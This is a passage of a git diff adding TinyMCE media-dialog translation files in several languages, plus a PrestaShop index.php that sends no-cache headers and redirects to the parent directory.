Izda.","align_center":"Centrado","align_left":"Esquerda","align_bottom":"Abaixo","align_right":"Dereita","align_top":"Arriba","qt_stream_warn":"Os recursos rtsp de Streaming deber\u00edan engadirse no campo QT Src da pesta\u00f1a avanzada.\nAdem\u00e1is deber\u00eda engadir unha versi\u00f3n no Streaming no campo Src.",qtsrc:"QT Src",progress:"Progreso",sound:"Son",swstretchvalign:"Esturar ali\u00f1. V.",swstretchhalign:"Estirar ali\u00f1. H.",swstretchstyle:"Estilo estiramento",scriptcallbacks:"Script callbacks","align_top_right":"Arriba Dta.",uimode:"Modo UI",rate:"Relaci\u00f3n",playcount:"Cantas reproducci\u00f3ns",defaultframe:"Frame predet.",currentposition:"Posici\u00f3n actual",currentmarker:"Marcador actual",captioningid:"Id de lenda",baseurl:"URL Base",balance:"Balance",windowlessvideo:"Video sen vent\u00e1",stretchtofit:"Estirar pra axustar",mute:"Silencio",invokeurls:"Invocar URLs",fullscreen:"Pantalla Completa",enabled:"Habilitado",autostart:"Comezo Autom\u00e1tico",volume:"Volume",target:"Obxetivo",qtsrcchokespeed:"Vel. de choque",href:"Href",endtime:"Fin",starttime:"Inicio",enablejavascript:"Habilitar JavaScript",correction:"Sen correci\u00f3n",targetcache:"Obxetivo cache",playeveryframe:"Reproducir t\u00f3dolos frames",kioskmode:"Modo kiosco",controller:"Controller",menu:"Mostrar Men\u00fa",loop:"Repetitivo",play:"Comezo Autom\u00e1tico",hspace:"Espacio H.",vspace:"Espacio V.","class_name":"Clase",name:"Nome",id:"Id",type:"Tipo",size:"Tama\u00f1o",preview:"Vista Previa","constrain_proportions":"Bloquear proporci\u00f3ns",controls:"Controis",numloop:"N\u00fam. repetici\u00f3ns",console:"Consola",cache:"Cach\u00e9",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Fondo",wmode:"WMode",salign:"SAlign",align:"Ali\u00f1aci\u00f3n",scale:"Escala",quality:"Calidade",shuffle:"Aleatorio",prefetch:"PreBusca",nojava:"No java",maintainaspect:"Manter aspecto",imagestatus:"Estado de imaxe",center:"Centrado",autogotourl:"Ir a URL autom\u00e1t.","shockwave_options":"Opci\u00f3ns Shockwave","rmp_options":"Opci\u00f3ns Real media player","wmp_options":"Opci\u00f3ns Windows media player","qt_options":"Opci\u00f3ns Quicktime","flash_options":"Opci\u00f3ns Flash",hidden:"Oculto","align_bottom_left":"Abaixo Izda.","align_bottom_right":"Abaixo Dta.","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/he_dlg.js b/js/tiny_mce2/plugins/media/langs/he_dlg.js new file mode 100755 index 0000000..4bd0058 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.media_dlg',{list:"\u05e8\u05e9\u05d9\u05de\u05d4",file:"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5",advanced:"\u05de\u05ea\u05e7\u05d3\u05dd",general:"\u05db\u05dc\u05dc\u05d9",title:"\u05d4\u05d5\u05e1\u05e4\u05ea/\u05e2\u05e8\u05d9\u05db\u05ea \u05e1\u05e8\u05d8\u05d5\u05df","align_top_left":"\u05e9\u05de\u05d0\u05dc \u05dc\u05de\u05e2\u05dc\u05d4","align_center":"\u05de\u05e8\u05db\u05d6","align_left":"\u05dc\u05e9\u05de\u05d0\u05dc","align_bottom":"\u05dc\u05de\u05d8\u05d4","align_right":"\u05d9\u05de\u05d9\u05df","align_top":"\u05dc\u05de\u05e2\u05dc\u05d4","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"\u05d4\u05ea\u05e7\u05d3\u05de\u05d5\u05ea",sound:"\u05e6\u05dc\u05d9\u05dc",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u05d9\u05de\u05d9\u05df \u05dc\u05de\u05e2\u05dc\u05d4",uimode:"\u05de\u05e6\u05d1 \u05ea\u05e6\u05d5\u05d2\u05d4",rate:"\u05e7\u05e6\u05d1",playcount:"\u05de\u05e1\u05e4\u05e8 \u05d4\u05e9\u05de\u05e2\u05d5\u05ea",defaultframe:"\u05e4\u05e8\u05d9\u05d9\u05dd \u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc",currentposition:"\u05de\u05d9\u05e7\u05d5\u05dd \u05e0\u05d5\u05db\u05d7\u05d9",currentmarker:"\u05e1\u05de\u05df \u05e0\u05d5\u05db\u05d7\u05d9",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"\u05de\u05ea\u05d7 \u05dc\u05d4\u05ea\u05d0\u05de\u05d4",mute:"\u05d4\u05e9\u05ea\u05e7",invokeurls:"Invoke URLs",fullscreen:"\u05de\u05e1\u05da \u05de\u05dc\u05d0",enabled:"\u05de\u05d5\u05e4\u05e2\u05dc",autostart:"\u05d4\u05ea\u05d7\u05dc \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea",volume:"\u05e2\u05d5\u05e6\u05de\u05d4",target:"\u05de\u05d8\u05e8\u05d4",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"\u05d6\u05de\u05df \u05e1\u05d9\u05d5\u05dd",starttime:"\u05d6\u05de\u05df \u05d4\u05ea\u05d7\u05dc\u05d4",enablejavascript:"\u05d0\u05e4\u05e9\u05e8 JavaScript",correction:"\u05dc\u05dc\u05d0 \u05ea\u05d9\u05e7\u05d5\u05df",targetcache:"Target cache",playeveryframe:"\u05e0\u05d2\u05df \u05db\u05dc \u05e4\u05e8\u05d9\u05d9\u05dd",kioskmode:"Kiosk mode",controller:"Controller",menu:"\u05d4\u05e6\u05d2\u05ea \u05ea\u05e4\u05e8\u05d9\u05d8",loop:"\u05e0\u05d2\u05d9\u05e0\u05d4 \u05de\u05d7\u05d6\u05d5\u05e8\u05d9\u05ea",play:"\u05e0\u05d2\u05d9\u05e0\u05d4 \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea \u05e2\u05dd \u05d4\u05d8\u05e2\u05d9\u05e0\u05d4",hspace:"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05d5\u05e4\u05e7\u05d9",vspace:"\u05e8\u05d5\u05d5\u05d7 \u05d0\u05e0\u05db\u05d9","class_name":"\u05de\u05d7\u05dc\u05e7\u05d4",name:"\u05e9\u05dd",id:"Id",type:"\u05e1\u05d5\u05d2",size:"\u05e8\u05d5\u05d7\u05d1 \u05d5\u05d2\u05d5\u05d1\u05d4",preview:"\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4","constrain_proportions":"\u05e9\u05de\u05d5\u05e8 \u05e2\u05dc \u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"\u05de\u05e7\u05d5\u05e8",bgcolor:"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2",wmode:"WMode",salign:"SAlign",align:"\u05d9\u05d9\u05e9\u05d5\u05e8",scale:"Scale",quality:"\u05d0\u05d9\u05db\u05d5\u05ea \u05d4\u05e1\u05e8\u05d8\u05d5\u05df",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"\u05de\u05e8\u05db\u05d6",autogotourl:"Auto goto URL","shockwave_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea Shockwave","rmp_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05e0\u05d2\u05df Real Media","wmp_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05de\u05d3\u05d9\u05d4 \u05e4\u05dc\u05d9\u05d9\u05e8","qt_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea Quicktime","flash_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05e4\u05dc\u05d0\u05e9",hidden:"Hidden","align_bottom_left":"\u05dc\u05de\u05d8\u05d4 \u05de\u05e9\u05de\u05d0\u05dc","align_bottom_right":"\u05dc\u05de\u05d8\u05d4 \u05de\u05d9\u05de\u05d9\u05df",flash:"Flash",quicktime:"quicktime","embedded_audio_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d0\u05d5\u05d3\u05d9\u05d5 \u05de\u05e9\u05d5\u05dc\u05d1",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d5\u05d9\u05d3\u05d0\u05d5 HTML5",altsource1:"\u05de\u05e7\u05d5\u05e8 \u05d7\u05dc\u05d5\u05e4\u05d9 1",altsource2:"\u05de\u05e7\u05d5\u05e8 \u05d7\u05dc\u05d5\u05e4\u05d9 2",preload:"Preload",poster:"\u05e4\u05d5\u05e1\u05d8\u05e8",source:"\u05de\u05e7\u05d5\u05e8","html5_audio_options":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05d0\u05d5\u05d3\u05d9\u05d5","preload_none":"Don\'t Preload","preload_metadata":"\u05d8\u05e2\u05df \u05de\u05d8\u05d4-\u05d8\u05d0\u05d2 \u05dc\u05d5\u05d5\u05d9\u05d3\u05d0\u05d5","preload_auto":"\u05d0\u05ea\u05df \u05dc\u05d3\u05e4\u05d3\u05e4\u05df \u05dc\u05d1\u05d7\u05d5\u05e8",iframe:"iframe",embeddedaudio:"embeddedaudio "}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/hu_dlg.js b/js/tiny_mce2/plugins/media/langs/hu_dlg.js new file mode 100755 index 0000000..cccb421 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.media_dlg',{list:"Lista",file:"F\u00e1jl/URL",advanced:"Halad\u00f3",general:"\u00c1ltal\u00e1nos",title:"Be\u00e1gyazott m\u00e9dia besz\u00far\u00e1sa/szerkeszt\u00e9se","align_top_left":"Bal-fent","align_center":"K\u00f6z\u00e9pen","align_left":"Balra","align_bottom":"Lent","align_right":"Jobbra","align_top":"Fent","qt_stream_warn":"Streamelt rtsp forr\u00e1sok a QT Src mez\u0151be val\u00f3k a halad\u00f3 lapon.\nHozz\u00e1 kellene adnia egy nem streamelt verzi\u00f3t a Src mez\u0151ben.",qtsrc:"QT Src",progress:"Folyamat",sound:"Hang",swstretchvalign:"Ny\u00fajt\u00e1s F-igaz\u00edt\u00e1s",swstretchhalign:"Ny\u00fajt\u00e1s V-igaz\u00edt\u00e1s",swstretchstyle:"Ny\u00fajt\u00e1s st\u00edlusa",scriptcallbacks:"Script callbacks","align_top_right":"Jobbra fent",uimode:"UI M\u00f3d",rate:"\u00c9rt\u00e9kel\u00e9s",playcount:"Lej\u00e1tsz\u00e1ssz\u00e1m",defaultframe:"Alap\u00e9rtelmezett frame",currentposition:"Aktu\u00e1lis poz\u00edci\u00f3",currentmarker:"Aktu\u00e1lis marker",captioningid:"Captioning id",baseurl:"Alap URL",balance:"Balance",windowlessvideo:"Ablak n\u00e9lk\u00fcli vide\u00f3",stretchtofit:"Ny\u00fajtva igaz\u00edt\u00e1s",mute:"N\u00e9ma",invokeurls:"URL-ek bevon\u00e1sa",fullscreen:"Teljes k\u00e9perny\u0151",enabled:"Enged\u00e9lyezve",autostart:"Automatikus kezd\u00e9s",volume:"Hanger\u0151",target:"C\u00e9l",qtsrcchokespeed:"Folyt\u00e1s sebess\u00e9ge",href:"Href",endtime:"Z\u00e1r\u00f3 id\u0151",starttime:"Kezd\u00e9si id\u0151",enablejavascript:"JavaScript enged\u00e9se",correction:"Nincs jav\u00edt\u00e1s",targetcache:"C\u00e9l cache",playeveryframe:"Minden kocka lej\u00e1tsz\u00e1sa",kioskmode:"Kiosk m\u00f3d",controller:"Vez\u00e9rl\u0151",menu:"Men\u00fc mutat\u00e1sa",loop:"Ism\u00e9tl\u00e9s",play:"Automatikus lej\u00e1tsz\u00e1s",hspace:"V-t\u00e1v",vspace:"F-t\u00e1v","class_name":"Oszt\u00e1ly",name:"N\u00e9v",id:"Id",type:"T\u00edpus",size:"M\u00e9retek",preview:"El\u0151n\u00e9zet","constrain_proportions":"Ar\u00e1nytart\u00e1s",controls:"Kezel\u0151k",numloop:"Ism\u00e9tl\u00e9ssz\u00e1m",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"H\u00e1tt\u00e9r",wmode:"WM\u00f3d",salign:"SElrendez\u00e9s",align:"Elrendez\u00e9s",scale:"Nagy\u00edt\u00e1s",quality:"Min\u0151s\u00e9g",shuffle:"V\u00e9letlenszer\u0171",prefetch:"El\u0151t\u00f6lt\u00e9s",nojava:"Nincs java",maintainaspect:"Ar\u00e1nytart\u00e1s",imagestatus:"K\u00e9p \u00e1llapot",center:"K\u00f6z\u00e9pre",autogotourl:"Automatikus URL-re ugr\u00e1s","shockwave_options":"Shockwave be\u00e1ll\u00edt\u00e1sai","rmp_options":"Real media player be\u00e1ll\u00edt\u00e1sai","wmp_options":"Windows media player be\u00e1ll\u00edt\u00e1sai","qt_options":"Quicktime be\u00e1ll\u00edt\u00e1sai","flash_options":"Flash be\u00e1ll\u00edt\u00e1sai",hidden:"Rejtett","align_bottom_left":"Bal-lent","align_bottom_right":"Bal-jobbra","embedded_audio_options":"Be\u00e1gyazott hang be\u00e1ll\u00edt\u00e1sok","html5_video_options":"HTML5 Video be\u00e1ll\u00edt\u00e1sok",altsource1:"Alternat\u00edv forr\u00e1s 1",altsource2:"Alternat\u00edv forr\u00e1s 2",preload:"El\u0151t\u00f6lt\u00e9s",poster:"Hozz\u00e1ad\u00f3",source:"Forr\u00e1s","html5_audio_options":"Audi\u00f3 be\u00e1ll\u00edt\u00e1sok","preload_none":"Nincs el\u0151reolvas\u00e1s","preload_metadata":"Vide\u00f3 metaadatok el\u0151reolvas\u00e1sa","preload_auto":"Hagyjuk a felhaszn\u00e1l\u00f3 b\u00f6ng\u00e9sz\u0151j\u00e9nek eld\u00f6nteni",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/id_dlg.js b/js/tiny_mce2/plugins/media/langs/id_dlg.js new file mode 100755 index 0000000..3aab79b --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.media_dlg',{list:"List",file:"File/URL",advanced:"Advanced",general:"General",title:"Insert / edit embedded media","align_top_left":"Atas Kiri","align_center":"Tengah","align_left":"Kiri","align_bottom":"Bawah","align_right":"Kanan","align_top":"Atas","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Atas Kanan",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"Auto start",volume:"Volume",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"Target cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"Controller",menu:"Show menu",loop:"Loop",play:"Auto play",hspace:"H-Space",vspace:"V-Space","class_name":"Class",name:"Name",id:"Id",type:"Type",size:"Dimensions",preview:"Preview","constrain_proportions":"Constrain proportions",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Background",wmode:"WMode",salign:"SAlign",align:"Align",scale:"Scale",quality:"Quality",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bawah Kiri","align_bottom_right":"Bawah kanan","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/index.php b/js/tiny_mce2/plugins/media/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/media/langs/it_dlg.js b/js/tiny_mce2/plugins/media/langs/it_dlg.js new file mode 100755 index 0000000..f335ede --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.media_dlg',{list:"Lista",file:"File/URL",advanced:"Avanzate",general:"Generale",title:"Inserisci/modifica file multimediale","align_top_left":"Alto a sinistra","align_center":"Centro","align_left":"Sinistra","align_bottom":"Basso","align_right":"Destra","align_top":"Alto","qt_stream_warn":"Le risorse rstp \'streamed\' devono essere aggiunte al campo Sorgente QT nella tabella Avanzate.\nSi dovrebbe inserire anche una versione non \'streamed\' al campo Sorgente..",qtsrc:"Sorgente QT",progress:"Avanzamento",sound:"Suono",swstretchvalign:"Tratto V-Allineamento",swstretchhalign:"Tratto H-Allineamento",swstretchstyle:"Stile Tratto",scriptcallbacks:"Script richiamato","align_top_right":"Alto a destra",uimode:"Modalit\u00e0 Interfaccia Utente",rate:"Qualit\u00e0",playcount:"Conteggio esecuzione",defaultframe:"Frame predefinito",currentposition:"Posizione corrente",currentmarker:"Indicatore corrente",captioningid:"Didascalia dell\'Id",baseurl:"URL base",balance:"Bilanciamento",windowlessvideo:"Video senza finestra",stretchtofit:"Adatta dimensioni",mute:"Muto",invokeurls:"Invoca URLs",fullscreen:"Tutto schermo",enabled:"Abilitato",autostart:"Avvio automatico",volume:"Volume",target:"Target",qtsrcchokespeed:"Velocit\u00e0 cursore",href:"Href",endtime:"Ora fine",starttime:"Ora inizio",enablejavascript:"Abilita JavaScript",correction:"Nessuna Correzione",targetcache:"Cache del target",playeveryframe:"Esegui ogni frame",kioskmode:"Modalit\u00e0 Kiosk",controller:"Controller",menu:"Mostra menu",loop:"Riproduzione ciclica",play:"Esecuzione automatica",hspace:"H-Spazio",vspace:"V-Spazio","class_name":"Classe",name:"Nome",id:"Id",type:"Tipo",size:"Dimensioni",preview:"Anteprima","constrain_proportions":"Mantieni Proporzioni",controls:"Controlli",numloop:"Numero Cicli",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Sfondo",wmode:"WMode",salign:"SAlign",align:"Allineamento",scale:"Scala",quality:"Qualit\u00e0",shuffle:"Shuffle",prefetch:"Precaricamento",nojava:"No java",maintainaspect:"Mantieni Aspetto",imagestatus:"Stato Immagine",center:"Centra",autogotourl:"Vai a URL automatico","shockwave_options":"Opzioni Shockwave","rmp_options":"Opzioni Real media player","wmp_options":"Opzioni Windows media player","qt_options":"Opzioni Quicktime","flash_options":"Opzioni Flash",hidden:"Nascosto","align_bottom_left":"Basso a Sinistra","align_bottom_right":"Basso a Destra",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opzioni Audio Embedded",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opzioni Video HTML5",altsource1:"Sorgente alternativa 1",altsource2:"Sorgente alternativa 2",preload:"Precarica",poster:"Poster",source:"Sorgente","html5_audio_options":"Opzioni Audio","preload_none":"Non Precaricare","preload_metadata":"Precarica i metadati video","preload_auto":"Lascia decidere al browser dell\'utente",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ja_dlg.js b/js/tiny_mce2/plugins/media/langs/ja_dlg.js new file mode 100755 index 0000000..88ece81 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.media_dlg',{list:"\u4e00\u89a7",file:"\u30d5\u30a1\u30a4\u30eb/URL",advanced:"\u9ad8\u5ea6",general:"\u4e00\u822c",title:"\u57cb\u3081\u8fbc\u307f\u30e1\u30c7\u30a3\u30a2\u306e\u633f\u5165/\u7de8\u96c6","align_top_left":"\u5de6\u4e0a","align_center":"\u4e2d\u592e","align_left":"\u5de6","align_bottom":"\u4e0b","align_right":"\u53f3","align_top":"\u4e0a","qt_stream_warn":"RTSP\u30b9\u30c8\u30ea\u30fc\u30df\u30f3\u30b0\u30ea\u30bd\u30fc\u30b9\u3092\u300c\u9ad8\u5ea6\u300d\u306e\u30bf\u30d6\u306e\u300cQT\u306e\u30bd\u30fc\u30b9\u300d\u6b04\u306b\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002\n\u307e\u305f\u3001\u300c\u30bd\u30fc\u30b9\u300d\u6b04\u306b\u306f\u30b9\u30c8\u30ea\u30fc\u30df\u30f3\u30b0\u3067\u306f\u306a\u3044\u30d0\u30fc\u30b8\u30e7\u30fc\u30f3\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002",qtsrc:"QT\u306e\u30bd\u30fc\u30b9",progress:"\u9032\u5c55",sound:"\u30b5\u30a6\u30f3\u30c9",swstretchvalign:"\u5782\u76f4\u306e\u914d\u7f6e",swstretchhalign:"\u6c34\u5e73\u306e\u914d\u7f6e",swstretchstyle:"\u4f38\u7e2e\u306e\u30b9\u30bf\u30a4\u30eb",scriptcallbacks:"\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30b3\u30fc\u30eb\u30d0\u30c3\u30af","align_top_right":"\u53f3\u4e0a",uimode:"UI\u3092\u8868\u793a\u3059\u308b\u30e2\u30fc\u30c9",rate:"\u518d\u751f\u30ec\u30fc\u30c8",playcount:"\u518d\u751f\u56de\u6570",defaultframe:"\u521d\u671f\u72b6\u614b\u306e\u30d5\u30ec\u30fc\u30e0",currentposition:"\u518d\u751f\u4f4d\u7f6e\uff08\u79d2\u5358\u4f4d\uff09",currentmarker:"\u30de\u30fc\u30ab\u30fc\u756a\u53f7",captioningid:"\u30ad\u30e3\u30d7\u30b7\u30e7\u30f3\u8868\u793a\u8981\u7d20ID",baseurl:"\u57fa\u6e96\u306eURL",balance:"\u30b9\u30c6\u30ec\u30aa\u306e\u30d0\u30e9\u30f3\u30b9",windowlessvideo:"\u30a6\u30a3\u30f3\u30c9\u30a6\u306a\u3057\u306e\u52d5\u753b",stretchtofit:"\u5408\u308f\u305b\u3066\u62e1\u5927",mute:"\u6d88\u97f3",invokeurls:"URL\u3092\u958b\u304f",fullscreen:"\u5168\u753b\u9762",enabled:"\u6709\u52b9",autostart:"\u81ea\u52d5\u518d\u751f",volume:"\u97f3\u91cf",target:"\u30bf\u30fc\u30b2\u30c3\u30c8",qtsrcchokespeed:"\u518d\u751f\u30c7\u30fc\u30bf\u30ec\u30fc\u30c8",href:"\u30ea\u30f3\u30af\u5148URL",endtime:"\u7d42\u4e86\u6642\u9593",starttime:"\u958b\u59cb\u6642\u9593",enablejavascript:"JavaScript\u3092\u6709\u52b9",correction:"\u8a02\u6b63\u306a\u3057",targetcache:"\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u30ad\u30e3\u30c3\u30b7\u30e5",playeveryframe:"\u3059\u3079\u3066\u306e\u30d5\u30ec\u30fc\u30e0\u3092\u518d\u751f",kioskmode:"Kiosk\u30e2\u30fc\u30c9",controller:"\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306e\u8868\u793a",menu:"\u30e1\u30cb\u30e5\u30fc\u3092\u8868\u793a",loop:"\u7e70\u308a\u8fd4\u3057",play:"\u81ea\u52d5\u518d\u751f",hspace:"\u5de6\u53f3\u306e\u4f59\u767d",vspace:"\u4e0a\u4e0b\u306e\u4f59\u767d","class_name":"\u30af\u30e9\u30b9",name:"\u540d\u524d",id:"ID",type:"\u30bf\u30a4\u30d7",size:"\u5bf8\u6cd5",preview:"\u30d7\u30ec\u30d3\u30e5\u30fc","constrain_proportions":"\u7e26\u6a2a\u6bd4\u3092\u4fdd\u5b58",controls:"\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u306e\u8868\u793a",numloop:"\u7e70\u308a\u8fd4\u3057\u306e\u56de\u6570",console:"\u30b3\u30f3\u30bd\u30fc\u30eb",cache:"\u30ad\u30e3\u30c3\u30b7\u30e5",autohref:"\u81ea\u52d5\u8aad\u8fbc",liveconnect:"SWLiveConnect\u5c5e\u6027",flashvars:"Flash Vars",base:"Base",bgcolor:"\u80cc\u666f\u8272",wmode:"WMode",salign:"SAlign",align:"\u914d\u7f6e",scale:"\u4f38\u7e2e",quality:"\u54c1\u8cea",shuffle:"\u30b7\u30e3\u30c3\u30d5\u30eb",prefetch:"\u5148\u8aad\u307f",nojava:"Java\u3092\u7981\u6b62",maintainaspect:"\u7e26\u6a2a\u6bd4\u306e\u7dad\u6301",imagestatus:"\u753b\u50cf\u306e\u72b6\u614b",center:"\u4e2d\u592e\u63c3\u3048",autogotourl:"URL\u306b\u81ea\u52d5\u79fb\u52d5","shockwave_options":"Shockwave\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","rmp_options":"Real media player\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","wmp_options":"Windows media player\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","qt_options":"Quicktime\u306e\u30aa\u30d7\u30b7\u30e7\u30f3","flash_options":"Flash\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",hidden:"\u975e\u8868\u793a","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b",flash:"flash",quicktime:"quicktime","embedded_audio_options":"\u57cb\u3081\u8fbc\u307fAudio\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",windowsmedia:"Windows\u30e1\u30c7\u30a3\u30a2",realmedia:"realmedia",shockwave:"shockwave",audio:"\u30aa\u30fc\u30c7\u30a3\u30aa",video:"\u52d5\u753b","html5_video_options":"HTML5 Video\u306e\u30aa\u30d7\u30b7\u30e7\u30f3",altsource1:"\u4ee3\u66ff\u30bd\u30fc\u30b91",altsource2:"\u4ee3\u66ff\u30bd\u30fc\u30b92",preload:"preload\u5c5e\u6027",poster:"poster\u5c5e\u6027",source:"HTML","html5_audio_options":"Audio \u30aa\u30d7\u30b7\u30e7\u30f3","preload_none":"\u5148\u8aad\u307f\u3057\u306a\u3044","preload_metadata":"\u52d5\u753b\u306e\u30e1\u30bf\u30c7\u30fc\u30bf\u3092\u5148\u8aad\u307f","preload_auto":"\u30e6\u30fc\u30b6\u30fc\u306e\u30d6\u30e9\u30a6\u30b6\u30fc\u306b\u5f93\u3046",iframe:"iframe",embeddedaudio:"\u57cb\u3081\u8fbc\u307f\u97f3\u58f0"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/ka_dlg.js b/js/tiny_mce2/plugins/media/langs/ka_dlg.js new file mode 100755 index 0000000..e847131 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.media_dlg',{list:"\u10e9\u10d0\u10db\u10dd\u10dc\u10d0\u10d7\u10d5\u10d0\u10da\u10d8",file:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",advanced:"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7",general:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",title:"\u10d9\u10da\u10d8\u10de\u10d8\u10e1 